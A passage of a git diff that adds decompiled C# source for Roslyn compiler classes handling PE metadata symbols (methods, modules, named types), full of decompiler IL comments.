+ { + val = ((PEParameterSymbol)enumerator.Current).DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val != null) + { + return val; + } + } + ImmutableArray.Enumerator enumerator2 = TypeParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + val = ((PETypeParameterSymbol)enumerator2.Current).DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val != null) + { + return val; + } + } + return _containingType.GetCompilerFeatureRequiredDiagnostic(); + } + + private UseSiteInfo GetCachedUseSiteInfo() + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return (_uncommonFields?._lazyCachedUseSiteInfo ?? default(CachedUseSiteInfo)).ToUseSiteInfo(base.PrimaryDependency); + } + + private UseSiteInfo InitializeUseSiteDiagnostic(UseSiteInfo useSiteInfo) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + if (_packedFlags.IsUseSiteDiagnosticPopulated) + { + return GetCachedUseSiteInfo(); + } + if (useSiteInfo.DiagnosticInfo != null || !CollectionsExtensions.IsNullOrEmpty(useSiteInfo.SecondaryDependencies)) + { + useSiteInfo = AccessUncommonFields()._lazyCachedUseSiteInfo.InterlockedInitialize(base.PrimaryDependency, useSiteInfo); + } + _packedFlags.SetIsUseSiteDiagnosticPopulated(); + return useSiteInfo; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + if (!_packedFlags.IsConditionalPopulated) + { + ImmutableArray immutableArray = _containingType.ContainingPEModule.Module.GetConditionalAttributeValues((EntityHandle)_handle); + if (!immutableArray.IsEmpty) + { + immutableArray = InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyConditionalAttributeSymbols, immutableArray); + } + _packedFlags.SetIsConditionalAttributePopulated(); + return immutableArray; + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return ImmutableArray.Empty; + } + ImmutableArray lazyConditionalAttributeSymbols = uncommonFields._lazyConditionalAttributeSymbols; + if (!lazyConditionalAttributeSymbols.IsDefault) + { + return lazyConditionalAttributeSymbols; + } + return InterlockedOperations.Initialize(ref uncommonFields._lazyConditionalAttributeSymbols, ImmutableArray.Empty); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1526); + } + + internal override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + if (!_packedFlags.IsUnmanagedCallersOnlyAttributePopulated) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)ContainingModule; + UnmanagedCallersOnlyAttributeData val = pEModuleSymbol.Module.TryGetUnmanagedCallersOnlyAttribute((EntityHandle)_handle, (IAttributeNamedArgumentDecoder)(object)new MetadataDecoder(pEModuleSymbol), (Func>>)((string name, TypedConstant value, bool isField) => MethodSymbol.TryDecodeUnmanagedCallersOnlyCallConvsField(name, value, isField, null, null))); + UnmanagedCallersOnlyAttributeData result = InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyUnmanagedCallersOnlyAttributeData, val, UnmanagedCallersOnlyAttributeData.Uninitialized); + _packedFlags.SetIsUnmanagedCallersOnlyAttributePopulated(); + return result; + } + return _uncommonFields?._lazyUnmanagedCallersOnlyAttributeData; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1615); + } + + internal override void AddSynthesizedReturnTypeAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1620); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1637); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEModuleSymbol.cs new file mode 100644 index 0000000..a4c3026 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEModuleSymbol.cs @@ -0,0 +1,700 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEModuleSymbol : NonMissingModuleSymbol +{ + private enum NullableMemberMetadata + { + Unknown, + Public, + Internal, + All + } + + internal enum RefSafetyRulesAttributeVersion + { + Uninitialized, + NoAttribute, + Version11, + UnrecognizedAttribute + } + + private readonly AssemblySymbol _assemblySymbol; + + private readonly int _ordinal; + + private readonly PEModule _module; + + private readonly PENamespaceSymbol _globalNamespace; + + private NamedTypeSymbol? _lazySystemTypeSymbol; + + private NamedTypeSymbol? _lazyEventRegistrationTokenSymbol; + + private NamedTypeSymbol? _lazyEventRegistrationTokenTableSymbol; + + private const int DefaultTypeMapCapacity = 31; + + internal readonly ConcurrentDictionary TypeHandleToTypeMap = new ConcurrentDictionary(2, 31); + + internal readonly ConcurrentDictionary TypeRefHandleToTypeMap = new ConcurrentDictionary(2, 31); + + internal readonly ImmutableArray MetadataLocation; + + internal readonly MetadataImportOptions ImportOptions; + + private ImmutableArray _lazyCustomAttributes; + + private ImmutableArray _lazyAssemblyAttributes; + + private ICollection _lazyTypeNames; + + private ICollection _lazyNamespaceNames; + + private NullableMemberMetadata _lazyNullableMemberMetadata; + + private RefSafetyRulesAttributeVersion _lazyRefSafetyRulesAttributeVersion; + + private DiagnosticInfo? _lazyCachedCompilerFeatureRequiredDiagnosticInfo = CSDiagnosticInfo.EmptyErrorInfo; + + private ObsoleteAttributeData? _lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEModuleSymbol.cs", 161); + } + } + + internal override int Ordinal => _ordinal; + + internal override Machine Machine => _module.Machine; + + internal override bool Bit32Required => _module.Bit32Required; + + internal PEModule Module => _module; + + public override NamespaceSymbol GlobalNamespace => _globalNamespace; + + public override string Name => _module.Name; + + private static EntityHandle Token => EntityHandle.ModuleDefinition; + + public override Symbol ContainingSymbol => _assemblySymbol; + + public override AssemblySymbol ContainingAssembly => _assemblySymbol; + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(MetadataLocation); + + internal override ICollection TypeNames + { + get + { + if (_lazyTypeNames == null) + { + Interlocked.CompareExchange(ref _lazyTypeNames, _module.TypeNames.AsCaseSensitiveCollection(), null); + } + return _lazyTypeNames; + } + } + + internal override ICollection NamespaceNames + { + get + { + if (_lazyNamespaceNames == null) + { + Interlocked.CompareExchange(ref _lazyNamespaceNames, _module.NamespaceNames.AsCaseSensitiveCollection(), null); + } + return _lazyNamespaceNames; + } + } + + internal DocumentationProvider DocumentationProvider + { + get + { + if (_assemblySymbol is PEAssemblySymbol pEAssemblySymbol) + { + return pEAssemblySymbol.DocumentationProvider; + } + return DocumentationProvider.Default; + } + } + + internal NamedTypeSymbol EventRegistrationToken + { + get + { + if ((object)_lazyEventRegistrationTokenSymbol == null) + { + Interlocked.CompareExchange(ref _lazyEventRegistrationTokenSymbol, GetTypeSymbolForWellKnownType((WellKnownType)184), null); + } + return _lazyEventRegistrationTokenSymbol; + } + } + + internal NamedTypeSymbol EventRegistrationTokenTable_T + { + get + { + if ((object)_lazyEventRegistrationTokenTableSymbol == null) + { + Interlocked.CompareExchange(ref _lazyEventRegistrationTokenTableSymbol, GetTypeSymbolForWellKnownType((WellKnownType)185), null); + } + return _lazyEventRegistrationTokenTableSymbol; + } + } + + internal NamedTypeSymbol SystemTypeSymbol + { + get + { + if ((object)_lazySystemTypeSymbol == null) + { + Interlocked.CompareExchange(ref _lazySystemTypeSymbol, GetTypeSymbolForWellKnownType((WellKnownType)61), null); + } + return _lazySystemTypeSymbol; + } + } + + internal override bool HasAssemblyCompilationRelaxationsAttribute => GetAssemblyAttributes().IndexOfAttribute(this, AttributeDescription.CompilationRelaxationsAttribute) >= 0; + + internal override bool HasAssemblyRuntimeCompatibilityAttribute => GetAssemblyAttributes().IndexOfAttribute(this, AttributeDescription.RuntimeCompatibilityAttribute) >= 0; + + internal override CharSet? DefaultMarshallingCharSet + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEModuleSymbol.cs", 682); + } + } + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public override bool HasUnsupportedMetadata + { + get + { + DiagnosticInfo? compilerFeatureRequiredDiagnostic = GetCompilerFeatureRequiredDiagnostic(); + if (compilerFeatureRequiredDiagnostic == null || compilerFeatureRequiredDiagnostic.Code != 9041) + { + return base.HasUnsupportedMetadata; + } + return true; + } + } + + internal override bool UseUpdatedEscapeRules => RefSafetyRulesVersion == RefSafetyRulesAttributeVersion.Version11; + + internal RefSafetyRulesAttributeVersion RefSafetyRulesVersion + { + get + { + if (_lazyRefSafetyRulesAttributeVersion == RefSafetyRulesAttributeVersion.Uninitialized) + { + _lazyRefSafetyRulesAttributeVersion = getAttributeVersion(); + } + return _lazyRefSafetyRulesAttributeVersion; + RefSafetyRulesAttributeVersion getAttributeVersion() + { + int num = default(int); + bool flag = default(bool); + if (_module.HasRefSafetyRulesAttribute(Token, ref num, ref flag)) + { + if (num != 11) + { + return RefSafetyRulesAttributeVersion.UnrecognizedAttribute; + } + return RefSafetyRulesAttributeVersion.Version11; + } + if (!flag) + { + return RefSafetyRulesAttributeVersion.NoAttribute; + } + return RefSafetyRulesAttributeVersion.UnrecognizedAttribute; + } + } + } + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + if (_lazyObsoleteAttributeData == ObsoleteAttributeData.Uninitialized) + { + Interlocked.CompareExchange(ref _lazyObsoleteAttributeData, computeObsoleteAttributeData(), ObsoleteAttributeData.Uninitialized); + } + return _lazyObsoleteAttributeData; + ObsoleteAttributeData? computeObsoleteAttributeData() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(this, AttributeDescription.ExperimentalAttribute)) + { + return ((AttributeData)current).DecodeExperimentalAttribute(); + } + } + return null; + } + } + } + + internal PEModuleSymbol(PEAssemblySymbol assemblySymbol, PEModule module, MetadataImportOptions importOptions, int ordinal) + : this((AssemblySymbol)assemblySymbol, module, importOptions, ordinal) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + + + internal PEModuleSymbol(SourceAssemblySymbol assemblySymbol, PEModule module, MetadataImportOptions importOptions, int ordinal) + : this((AssemblySymbol)assemblySymbol, module, importOptions, ordinal) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + + + internal PEModuleSymbol(RetargetingAssemblySymbol assemblySymbol, PEModule module, MetadataImportOptions importOptions, int ordinal) + : this((AssemblySymbol)assemblySymbol, module, importOptions, ordinal) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + + + private PEModuleSymbol(AssemblySymbol assemblySymbol, PEModule module, MetadataImportOptions importOptions, int ordinal) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + _assemblySymbol = assemblySymbol; + _ordinal = ordinal; + _module = module; + ImportOptions = importOptions; + _globalNamespace = new PEGlobalNamespaceSymbol(this); + MetadataLocation = ImmutableArray.Create(new MetadataLocation((IModuleSymbolInternal)(object)this)); + } + + public override ImmutableArray GetAttributes() + { + if (_lazyCustomAttributes.IsDefault) + { + LoadCustomAttributes(Token, ref _lazyCustomAttributes); + } + return _lazyCustomAttributes; + } + + internal ImmutableArray GetAssemblyAttributes() + { + if (_lazyAssemblyAttributes.IsDefault) + { + ArrayBuilder val = null; + string name = ContainingAssembly.CorLibrary.Name; + EntityHandle entityHandle = Module.GetAssemblyRef(name); + if (!entityHandle.IsNil) + { + string[,] dummyAssemblyAttributeParentQualifier = MetadataWriter.dummyAssemblyAttributeParentQualifier; + foreach (string text in dummyAssemblyAttributeParentQualifier) + { + EntityHandle typeRef = Module.GetTypeRef(entityHandle, "System.Runtime.CompilerServices", "AssemblyAttributesGoHere" + text); + if (typeRef.IsNil) + { + continue; + } + try + { + foreach (CustomAttributeHandle item in Module.GetCustomAttributesOrThrow(typeRef)) + { + if (val == null) + { + val = new ArrayBuilder(); + } + val.Add((CSharpAttributeData)new PEAttributeData(this, item)); + } + } + catch (BadImageFormatException) + { + } + } + } + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyAssemblyAttributes, val?.ToImmutableAndFree() ?? ImmutableArray.Empty, default(ImmutableArray)); + } + return _lazyAssemblyAttributes; + } + + internal void LoadCustomAttributes(EntityHandle token, ref ImmutableArray customAttributes) + { + ImmutableArray customAttributesForToken = GetCustomAttributesForToken(token); + ImmutableInterlocked.InterlockedInitialize(ref customAttributes, customAttributesForToken); + } + + internal void LoadCustomAttributesFilterExtensions(EntityHandle token, ref ImmutableArray customAttributes) + { + bool foundExtension; + bool foundReadOnly; + ImmutableArray customAttributesFilterCompilerAttributes = GetCustomAttributesFilterCompilerAttributes(token, out foundExtension, out foundReadOnly); + ImmutableInterlocked.InterlockedInitialize(ref customAttributes, customAttributesFilterCompilerAttributes); + } + + internal ImmutableArray GetCustomAttributesForToken(EntityHandle token, out CustomAttributeHandle filteredOutAttribute1, AttributeDescription filterOut1) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + CustomAttributeHandle filteredOutAttribute2; + CustomAttributeHandle filteredOutAttribute3; + CustomAttributeHandle filteredOutAttribute4; + CustomAttributeHandle filteredOutAttribute5; + CustomAttributeHandle filteredOutAttribute6; + return GetCustomAttributesForToken(token, out filteredOutAttribute1, filterOut1, out filteredOutAttribute2, default(AttributeDescription), out filteredOutAttribute3, default(AttributeDescription), out filteredOutAttribute4, default(AttributeDescription), out filteredOutAttribute5, default(AttributeDescription), out filteredOutAttribute6, default(AttributeDescription)); + } + + internal ImmutableArray GetCustomAttributesForToken(EntityHandle token, out CustomAttributeHandle filteredOutAttribute1, AttributeDescription filterOut1, out CustomAttributeHandle filteredOutAttribute2, AttributeDescription filterOut2) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + CustomAttributeHandle filteredOutAttribute3; + CustomAttributeHandle filteredOutAttribute4; + CustomAttributeHandle filteredOutAttribute5; + CustomAttributeHandle filteredOutAttribute6; + return GetCustomAttributesForToken(token, out filteredOutAttribute1, filterOut1, out filteredOutAttribute2, filterOut2, out filteredOutAttribute3, default(AttributeDescription), out filteredOutAttribute4, default(AttributeDescription), out filteredOutAttribute5, default(AttributeDescription), out filteredOutAttribute6, default(AttributeDescription)); + } + + internal ImmutableArray GetCustomAttributesForToken(EntityHandle token, out CustomAttributeHandle filteredOutAttribute1, AttributeDescription filterOut1, out CustomAttributeHandle filteredOutAttribute2, AttributeDescription filterOut2, out CustomAttributeHandle filteredOutAttribute3, AttributeDescription filterOut3, out CustomAttributeHandle filteredOutAttribute4, AttributeDescription filterOut4, out CustomAttributeHandle filteredOutAttribute5, AttributeDescription filterOut5, out CustomAttributeHandle filteredOutAttribute6, AttributeDescription filterOut6) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + filteredOutAttribute1 = default(CustomAttributeHandle); + filteredOutAttribute2 = default(CustomAttributeHandle); + filteredOutAttribute3 = default(CustomAttributeHandle); + filteredOutAttribute4 = default(CustomAttributeHandle); + filteredOutAttribute5 = default(CustomAttributeHandle); + filteredOutAttribute6 = default(CustomAttributeHandle); + ArrayBuilder val = null; + try + { + foreach (CustomAttributeHandle item in _module.GetCustomAttributesOrThrow(token)) + { + if (matchesFilter(item, filterOut1)) + { + filteredOutAttribute1 = item; + continue; + } + if (matchesFilter(item, filterOut2)) + { + filteredOutAttribute2 = item; + continue; + } + if (matchesFilter(item, filterOut3)) + { + filteredOutAttribute3 = item; + continue; + } + if (matchesFilter(item, filterOut4)) + { + filteredOutAttribute4 = item; + continue; + } + if (matchesFilter(item, filterOut5)) + { + filteredOutAttribute5 = item; + continue; + } + if (matchesFilter(item, filterOut6)) + { + filteredOutAttribute6 = item; + continue; + } + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add((CSharpAttributeData)new PEAttributeData(this, item)); + } + } + catch (BadImageFormatException) + { + } + return val?.ToImmutableAndFree() ?? ImmutableArray.Empty; + bool matchesFilter(CustomAttributeHandle handle, AttributeDescription filter) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (filter.Signatures != null) + { + return Module.GetTargetAttributeSignatureIndex(handle, filter) != -1; + } + return false; + } + } + + internal ImmutableArray GetCustomAttributesForToken(EntityHandle token) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + CustomAttributeHandle filteredOutAttribute; + return GetCustomAttributesForToken(token, out filteredOutAttribute, default(AttributeDescription)); + } + + internal ImmutableArray GetCustomAttributesForToken(EntityHandle token, out CustomAttributeHandle paramArrayAttribute) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return GetCustomAttributesForToken(token, out paramArrayAttribute, AttributeDescription.ParamArrayAttribute); + } + + internal bool HasAnyCustomAttributes(EntityHandle token) + { + try + { + using CustomAttributeHandleCollection.Enumerator enumerator = _module.GetCustomAttributesOrThrow(token).GetEnumerator(); + if (enumerator.MoveNext()) + { + _ = enumerator.Current; + return true; + } + } + catch (BadImageFormatException) + { + } + return false; + } + + internal TypeSymbol TryDecodeAttributeWithTypeArgument(EntityHandle handle, AttributeDescription attributeDescription) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + string text = default(string); + if (_module.HasStringValuedAttribute(handle, attributeDescription, ref text)) + { + return ((TypeNameDecoder)(object)new MetadataDecoder(this)).GetTypeSymbolForSerializedType(text); + } + return null; + } + + private ImmutableArray GetCustomAttributesFilterCompilerAttributes(EntityHandle token, out bool foundExtension, out bool foundReadOnly) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + CustomAttributeHandle filteredOutAttribute; + CustomAttributeHandle filteredOutAttribute2; + ImmutableArray customAttributesForToken = GetCustomAttributesForToken(token, out filteredOutAttribute, AttributeDescription.CaseSensitiveExtensionAttribute, out filteredOutAttribute2, AttributeDescription.IsReadOnlyAttribute); + foundExtension = !filteredOutAttribute.IsNil; + foundReadOnly = !filteredOutAttribute2.IsNil; + return customAttributesForToken; + } + + internal void OnNewTypeDeclarationsLoaded(Dictionary, ImmutableArray> typesDict) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + bool flag = _ordinal == 0 && _assemblySymbol.KeepLookingForDeclaredSpecialTypes; + foreach (ImmutableArray value in typesDict.Values) + { + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + PENamedTypeSymbol current = enumerator2.Current; + TypeHandleToTypeMap.TryAdd(current.Handle, current); + if (flag && (int)current.SpecialType != 0) + { + _assemblySymbol.RegisterDeclaredSpecialType(current); + flag = _assemblySymbol.KeepLookingForDeclaredSpecialTypes; + } + } + } + } + + internal override ImmutableArray GetHash(AssemblyHashAlgorithm algorithmId) + { + return _module.GetHash(algorithmId); + } + + private NamedTypeSymbol GetTypeSymbolForWellKnownType(WellKnownType type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + MetadataTypeName emittedName = MetadataTypeName.FromFullName(WellKnownTypes.GetMetadataName(type), true, -1); + NamedTypeSymbol namedTypeSymbol = LookupTopLevelMetadataType(ref emittedName); + if ((object)namedTypeSymbol != null) + { + return namedTypeSymbol; + } + NamedTypeSymbol namedTypeSymbol2 = null; + ImmutableArray.Enumerator enumerator = GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol namedTypeSymbol3 = enumerator.Current.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedName, null); + if (!isAcceptableSystemTypeSymbol(namedTypeSymbol3)) + { + continue; + } + if ((object)namedTypeSymbol2 == null) + { + namedTypeSymbol2 = namedTypeSymbol3; + continue; + } + if (!TypeSymbol.Equals(namedTypeSymbol2, namedTypeSymbol3, (TypeCompareKind)0)) + { + namedTypeSymbol2 = null; + } + break; + } + if ((object)namedTypeSymbol2 != null) + { + return namedTypeSymbol2; + } + return new MissingMetadataTypeSymbol.TopLevel(this, ref emittedName); + static bool isAcceptableSystemTypeSymbol(NamedTypeSymbol candidate) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)candidate.Kind == 4) + { + return !(candidate is MissingMetadataTypeSymbol); + } + return true; + } + } + + internal NamedTypeSymbol LookupTopLevelMetadataTypeWithNoPiaLocalTypeUnification(ref MetadataTypeName emittedName, out bool isNoPiaLocalType) + { + PENamespaceSymbol pENamespaceSymbol = (PENamespaceSymbol)GlobalNamespace.LookupNestedNamespace(((MetadataTypeName)(ref emittedName)).NamespaceSegmentsMemory); + NamedTypeSymbol namedTypeSymbol; + if ((object)pENamespaceSymbol == null) + { + namedTypeSymbol = null; + } + else + { + namedTypeSymbol = pENamespaceSymbol.LookupMetadataType(ref emittedName); + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = pENamespaceSymbol.UnifyIfNoPiaLocalType(ref emittedName); + if ((object)namedTypeSymbol != null) + { + isNoPiaLocalType = true; + return namedTypeSymbol; + } + } + } + isNoPiaLocalType = false; + return namedTypeSymbol ?? new MissingMetadataTypeSymbol.TopLevel(this, ref emittedName); + } + + internal (AssemblySymbol FirstSymbol, AssemblySymbol SecondSymbol) GetAssembliesForForwardedType(ref MetadataTypeName fullName) + { + string text = default(string); + var (num, num2) = Module.GetAssemblyRefsForForwardedType(((MetadataTypeName)(ref fullName)).FullName, false, ref text); + if (num < 0) + { + return (FirstSymbol: null, SecondSymbol: null); + } + AssemblySymbol referencedAssemblySymbol = GetReferencedAssemblySymbol(num); + if (num2 < 0) + { + return (FirstSymbol: referencedAssemblySymbol, SecondSymbol: null); + } + AssemblySymbol referencedAssemblySymbol2 = GetReferencedAssemblySymbol(num2); + return (FirstSymbol: referencedAssemblySymbol, SecondSymbol: referencedAssemblySymbol2); + } + + internal IEnumerable GetForwardedTypes() + { + foreach (KeyValuePair forwardedType in Module.GetForwardedTypes()) + { + MetadataTypeName emittedName = MetadataTypeName.FromFullName(forwardedType.Key, false, -1); + AssemblySymbol referencedAssemblySymbol = GetReferencedAssemblySymbol(forwardedType.Value.Item1); + if (forwardedType.Value.Item2 >= 0) + { + AssemblySymbol referencedAssemblySymbol2 = GetReferencedAssemblySymbol(forwardedType.Value.Item2); + yield return ContainingAssembly.CreateMultipleForwardingErrorTypeSymbol(ref emittedName, this, referencedAssemblySymbol, referencedAssemblySymbol2); + } + else + { + yield return referencedAssemblySymbol.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedName, null); + } + } + } + + public override ModuleMetadata GetMetadata() + { + return _module.GetNonDisposableMetadata(); + } + + internal bool ShouldDecodeNullableAttributes(Symbol symbol) + { + if (_lazyNullableMemberMetadata == NullableMemberMetadata.Unknown) + { + bool flag = default(bool); + _lazyNullableMemberMetadata = ((!_module.HasNullablePublicOnlyAttribute(Token, ref flag)) ? NullableMemberMetadata.All : ((!flag) ? NullableMemberMetadata.Public : NullableMemberMetadata.Internal)); + } + NullableMemberMetadata lazyNullableMemberMetadata = _lazyNullableMemberMetadata; + if (lazyNullableMemberMetadata == NullableMemberMetadata.All) + { + return true; + } + if (AccessCheck.IsEffectivelyPublicOrInternal(symbol, out var isInternal)) + { + return lazyNullableMemberMetadata switch + { + NullableMemberMetadata.Public => !isInternal, + NullableMemberMetadata.Internal => true, + _ => throw ExceptionUtilities.UnexpectedValue((object)lazyNullableMemberMetadata), + }; + } + return false; + } + + internal DiagnosticInfo? GetCompilerFeatureRequiredDiagnostic() + { + if (_lazyCachedCompilerFeatureRequiredDiagnosticInfo == CSDiagnosticInfo.EmptyErrorInfo) + { + Interlocked.CompareExchange(ref _lazyCachedCompilerFeatureRequiredDiagnosticInfo, PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, this, Token, (CompilerFeatureRequiredFeatures)0, new MetadataDecoder(this)), CSDiagnosticInfo.EmptyErrorInfo); + } + DiagnosticInfo? obj = _lazyCachedCompilerFeatureRequiredDiagnosticInfo; + if (obj == null) + { + PEAssemblySymbol obj2 = _assemblySymbol as PEAssemblySymbol; + if ((object)obj2 == null) + { + return null; + } + obj = obj2.GetCompilerFeatureRequiredDiagnostic(); + } + return obj; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamedTypeSymbol.cs new file mode 100644 index 0000000..527e2d7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamedTypeSymbol.cs @@ -0,0 +1,2205 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.DocumentationComments; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal abstract class PENamedTypeSymbol : NamedTypeSymbol +{ + private sealed class UncommonProperties + { + internal ImmutableArray lazyInstanceEnumFields; + + internal NamedTypeSymbol lazyEnumUnderlyingType; + + internal ImmutableArray lazyCustomAttributes; + + internal ImmutableArray lazyConditionalAttributeSymbols; + + internal ObsoleteAttributeData lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + internal AttributeUsageInfo lazyAttributeUsageInfo = AttributeUsageInfo.Null; + + internal ThreeState lazyContainsExtensionMethods; + + internal ThreeState lazyIsByRefLike; + + internal ThreeState lazyIsReadOnly; + + internal string lazyDefaultMemberName; + + internal NamedTypeSymbol lazyComImportCoClassType = ErrorTypeSymbol.UnknownResultType; + + internal CollectionBuilderAttributeData lazyCollectionBuilderAttributeData = CollectionBuilderAttributeData.Uninitialized; + + internal ThreeState lazyHasEmbeddedAttribute; + + internal ThreeState lazyHasInterpolatedStringHandlerAttribute; + + internal ThreeState lazyHasRequiredMembers; + + internal 